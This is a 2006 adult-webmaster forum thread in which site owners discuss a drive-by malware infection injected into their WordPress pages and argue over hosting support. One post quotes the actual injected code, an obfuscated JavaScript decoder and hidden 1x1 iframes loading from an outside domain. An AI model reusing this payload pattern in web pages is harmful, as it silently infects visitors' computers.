GoFuckYourself.com - Adult Webmaster Forum
Page 2 of 3 < 1 2 3 >
Show 40 post(s) from this thread on one page

GoFuckYourself.com - Adult Webmaster Forum (https://gfy.com/index.php)
-   Fucking Around & Business Discussion (https://gfy.com/forumdisplay.php?f=26)
-   -   I keep getting hacked... (https://gfy.com/showthread.php?t=660506)

FelixFlow 09-28-2006 09:55 PM
NAME: Exploit.HTML.Mht
ALIAS: MS04-025, CAN-2004-0549, HTML/MHT@EXPL, Mht


Summary


An exploit is a short code or script that uses a vulnerability to perform malicious actions.

The HTML.Mht exploit is embedded to HTML web pages. It attempts to download and install a malicious program on your computer by using a security vulnerability in Internet Explorer.

More information about this security vulnerability, including a fix, is available from Microsoft: http://www.microsoft.com/technet/sec.../MS04-025.mspx



================================================== ===

Dagwolf 09-28-2006 09:57 PM
Quote:
Originally Posted by FelixFlow
YOUR PAGE IS INFECTING EVERYONE WHO VISITS IT WITH THE VIRUS!!

BE RESPONSIBLE AND STOP DIRECTING PEOPLE TO YOUR PAGE!@!

Remember who else did something like this? ...

SmokeyTheBear 09-28-2006 10:03 PM
Quote:
Originally Posted by Superterrorizer
To be fair, it's not really the hosts fault you got hacked unless it was done through a hole in the OS/Kernel.

I would argue it's the customers responsibility to ensure any scripts on their sites are up to date, as would many hosting companies both adult and mainstream. Certainly there are hosts who will take care of things like that but for the price point many adult webmasters are looking for it's simply not realistic to expect your host to keep your scripts up to date for you unless you are paying a premium.

Having said that, once something has been exploited it's my opinion that it's the host's responsibility to find the cause of the problem and correct it if you are unable to do so on your own. There's a plethora of tools and methods out there to combat these exploits as well as remove them from your server.

Any host who values their clients, as well as the integrity of their client's sites should do whatever they can to assist you in getting the issue resolved. If they refuse, there are hosting companies out there who would be happy to take care of you.

There are many things the average webmaster can do to make sure things like this are unlikely to happen. Scripts are not Ronco Rotisseries. You can't just "set it and forget it" with a script. Many popular scripts have older versions with giant-gaping-goatse-like holes in them that do not exist in current versions. You should check weekly (At the very least monthly) for updates to your scripts, and if there are updates update them immediately
this is true but its not your mechanics job to tell you not to stick orange juice in your gas tank but if you do and your car fucks it it would be nice to at least let him know the problem ( easily accomplished in this case with a quick peek at the server )

Hosts that wont help in this situation really piss me off, its obvious the guy doesnt know what the problem is , and he will just leave if he cant get it fixed so its hardly not worth it to the host to quicly tell them what the problem is , if the customer INSISTS on running something unsecure , thats a diff story but if they are just clueless it seems a no-brainer to help them out for the 10 minutes it might take to fix the problem for a tech

pornpf69 09-28-2006 10:18 PM
do you have any counter on your page?

FelixFlow 09-28-2006 10:24 PM
Quote:
Originally Posted by Dagwolf
Remember who else did something like this? ...

no i dont?

who the fuck is this guy? my fucking computer has this shit now!


:mad:

DateDoc 09-28-2006 10:31 PM
Quote:
Originally Posted by FelixFlow
YOUR PAGE IS INFECTING EVERYONE WHO VISITS IT WITH THE VIRUS!!

BE RESPONSIBLE AND STOP DIRECTING PEOPLE TO YOUR PAGE!@!
He said he had issues on his page and you clicked the link. He is trying to get it sorted out. If your pc is not protected why click a link when it is typed out that it has issues he is seeking help to fix?

RobV 09-28-2006 10:37 PM
Quote:
Originally Posted by Superterrorizer
To be fair, it's not really the hosts fault you got hacked unless it was done through a hole in the OS/Kernel.

I would argue it's the customers responsibility to ensure any scripts on their sites are up to date, as would many hosting companies both adult and mainstream. Certainly there are hosts who will take care of things like that but for the price point many adult webmasters are looking for it's simply not realistic to expect your host to keep your scripts up to date for you unless you are paying a premium.

Having said that, once something has been exploited it's my opinion that it's the host's responsibility to find the cause of the problem and correct it if you are unable to do so on your own. There's a plethora of tools and methods out there to combat these exploits as well as remove them from your server.

Any host who values their clients, as well as the integrity of their client's sites should do whatever they can to assist you in getting the issue resolved. If they refuse, there are hosting companies out there who would be happy to take care of you.

There are many things the average webmaster can do to make sure things like this are unlikely to happen. Scripts are not Ronco Rotisseries. You can't just "set it and forget it" with a script. Many popular scripts have older versions with giant-gaping-goatse-like holes in them that do not exist in current versions. You should check weekly (At the very least monthly) for updates to your scripts, and if there are updates update them immediately
I agree that it is not the hosting companies responsibility to monitor everything that is installed and ran on the server. I agree that the client (me) should have everything up to date and attempt to keep it that way.

Again I would like to share that there is NOTHING ELSE aside from the most up to date verison of wordpress running. Thats it.

My system has been scanned, re scanned, cleaned, anything to make sure nothing was on my end, I am clean.

So where do I go now? Or.... Who takes the next step?

MarkMan 09-28-2006 10:38 PM
well , a good idea is to have a new password setup .. huge one .. about 12+

with numbers and Letters + have your host put in a firewall for you.. so only your ip can ssh or ftp to your server

and if this dosn't work .. have someone check all your scripts


also .. have your own system at home or the office checkes for spyware.. just incase

good luck

RobV 09-28-2006 10:38 PM
Quote:
Originally Posted by pornpf69
do you have any counter on your page?
No counter. Just wordpress.

RobV 09-28-2006 10:40 PM
Quote:
Originally Posted by BusterPorn
He said he had issues on his page and you clicked the link. He is trying to get it sorted out. If your pc is not protected why click a link when it is typed out that it has issues he is seeking help to fix?
FelixFlow, I really am sorry. I left it up for the purpose stated, so people could view it in the "hacked" form, instead of me trying to visually and verbally discribe the situation.

RevSand 09-28-2006 10:46 PM
For those in the know who might have some ideas since I have seen this shit on at least a half dozen sites that are all running diff configs and scripts, here is the coding that seems to get attached to parts of the page..

Quote:
<script language="JavaScript">e = '0x00' + '3D';str1 = "%86%DE%D5%C8%A2%CF%CE%C5%D6%D9%81%9C%C8%D5%CF %D5% DC%D5%D6%D5%CE%C5%84%DA%D5%DE%DE%D9%D0%9C%80%86%D5 %D8%CC%DD%D1%D9%A2%CF%CC%DF%81%9C%DA%CE%CE%D2%84%9 3%93%DF%D6%C8%DF%D0%CE%90%DF%D3%D1%93%CE%CC%D8%93% 9C%A2%CB%D5%DE%CE%DA%81%8D%A2%DA%D9%D5%DB%DA%CE%81 %8D%80%86%93%D5%D8%CC%DD%D1%D9%80%86%93%DE%D5%C8%8 0";str=tmp='';for(i=0;i<str1.length;i+=3){tmp = unescape(str1.slice(i,i+3));str=str+String.fromCha rCode((tmp.charCodeAt(0)^e)-127);}document.write(str);</script><iframe src='http://uniqcount.net/adv/066/new.php' width=1 height=1></iframe><iframe src='http://uniqcount.net/adv/new.php?adv=66' width=1 height=1></iframe>
Or some shit similar... :( :mad:

FelixFlow 09-28-2006 11:04 PM
Quote:
Originally Posted by BusterPorn
He said he had issues on his page and you clicked the link. He is trying to get it sorted out. If your pc is not protected why click a link when it is typed out that it has issues he is seeking help to fix?


he said his page was getting hacked

he didnt fucking say there is a virus on his page that will spread to other users that visit his page

:disgust

LiveDose 09-28-2006 11:09 PM
The script kiddies creating this shit should be hunted down and killed.

cess 09-28-2006 11:19 PM
Quote:
Originally Posted by HairToStay
If you don't know how, ask your host to read Apache logs to see what was compromised and how.

Then, change hosts to someone who will actually help you.
Which host would you suggest? I always see people suggesting webair around here.

RevSand 09-28-2006 11:27 PM
Quote:
Originally Posted by cess
Which host would you suggest? I always see people suggesting webair around here.
I think this BS is across the board... I have heard of it on at least 3 diff hosts that all have goof reputations..

L0rdJuni0r 09-28-2006 11:49 PM
these virus things scare me.... :(

RobV 09-28-2006 11:51 PM
Quote:
Originally Posted by LiveDose
The script kiddies creating this shit should be hunted down and killed.
I agree.

SinSational 09-29-2006 12:46 AM
this has happened to a couple customers of ours.

the first issue was that the customer had WordPress installed and was using some 3rd party template or counter which was inserting a javascript trojan downloader in to the page on the fly. once the customer removed the template/counter, the issue went away.

the second issue was permissions. the customer had some script running with a file owned by apache.apache and 777. once we changed the permissions the javascript trojan went away, and the iframe insertion to uniqcontent went away as well.

contact me if you have any other questions.

RobV 09-29-2006 12:52 AM
Quote:
Originally Posted by SinSational
this has happened to a couple customers of ours.

the first issue was that the customer had WordPress installed and was using some 3rd party template or counter which was inserting a javascript trojan downloader in to the page on the fly. once the customer removed the template/counter, the issue went away.

the second issue was permissions. the customer had some script running with a file owned by apache.apache and 777. once we changed the permissions the javascript trojan went away, and the iframe insertion to uniqcontent went away as well.

contact me if you have any other questions.
I think I will be contacting you shortly. You wouldn't mind another customer would you?

SinSational 09-29-2006 01:00 AM
Quote:
Originally Posted by RobV
I think I will be contacting you shortly. You wouldn't mind another customer would you?
of course not.

from what you pasted above for the code, it definitely sounds like wrong permissions on some of your files. for wordpress i believe it should be:

Folders => 755
Files => 644

woj 09-29-2006 01:26 AM
get a decent host, if everything is tight on the server, your sites shouldn't get owned even with security bugs in any scripts you may use....

Pipeline Q 09-29-2006 01:32 AM
bump for this

darksoul 09-29-2006 01:35 AM
Quote:
Originally Posted by SinSational
the second issue was permissions. the customer had some script running with a file owned by apache.apache and 777. once we changed the permissions the javascript trojan went away, and the iframe insertion to uniqcontent went away as well.

contact me if you have any other questions.
Seriously tho.
It doesn't really matter if that file is 777 (some scripts really need that) most php writes that are not run through cgi.
The problem is with the script that allows an attacker to execute/upload on your server.

en21 09-29-2006 04:04 AM
try what we called antivirus

justsexxx 09-29-2006 04:40 AM
Quote:
Originally Posted by RobV
My host is webair. I have asked them 10 times with the responce of, "Its all your fault, nothing is wrong on our end."
Great service :Oh crap

emthree 09-29-2006 04:48 AM
Wow, that's nasty.
I cant believe webair wasent more helpfull.

Verbal 09-29-2006 07:48 AM
I'm having the same problem and have contacted Webair about it twice now. they are 'looking' into it.

DateDoc 09-29-2006 07:52 AM
Where is webair in this thread to try and help out their customer? They seem to manage to make it to every thread that is looking for hosting but not this one? :helpme

darksoul 09-29-2006 07:58 AM
Quote:
Originally Posted by FelixFlow
he said his page was getting hacked

he didnt fucking say there is a virus on his page that will spread to other users that visit his page

:disgust
switch to FF :2 cents:

Hunter_ST 09-29-2006 08:05 AM
keep us posted...

onlineriches 09-29-2006 08:06 AM
Not much you can do about it, looks like the virtual hosting box is compromised and this is likely happening to everyones pages on the box.

It probably searches for any web content and adds that into every file.

:/

The Duck 09-29-2006 08:10 AM
I have the same problem with my sites on webair, trojan javascript at the top of the page just pops out of nowhere...

WEBAIR SOLVE.

darksoul 09-29-2006 08:14 AM
oh, this is a virtual server.
That explains it.

RobV 09-29-2006 08:22 AM
Quote:
Originally Posted by Verbal
I'm having the same problem and have contacted Webair about it twice now. they are 'looking' into it.
Since you got webair to look into it, can you have them look into mine as well. YOu must communicate better than I.

Thank You.

E$_manager 09-29-2006 09:35 AM
Ask your hosting.

DateDoc 09-29-2006 06:51 PM
did u get it fixed?

SinSational 09-29-2006 11:54 PM
Quote:
Originally Posted by BusterPorn
did u get it fixed?
yeah, wondering if you got this squared away.

gooddomains 09-30-2006 01:18 AM
redo your complete server setup (including OS install) and the problems will go away.

teomaxxx 10-02-2006 12:39 PM
anyone on webair knows more about it?
i found some of my domains hosted on webair hacked too (only root index.php files although)...not sure if its coming from my computer or it was some hack of webair accounts.

RobV 10-02-2006 08:53 PM
I started a new thread.


All times are GMT -7. The time now is 06:36 PM.
Page 2 of 3 < 1 2 3 >
Show 40 post(s) from this thread on one page

Powered by vBulletin® Version 3.8.8
Copyright ©2000 - 2025, vBulletin Solutions, Inc.
©2000-, AI Media Network Inc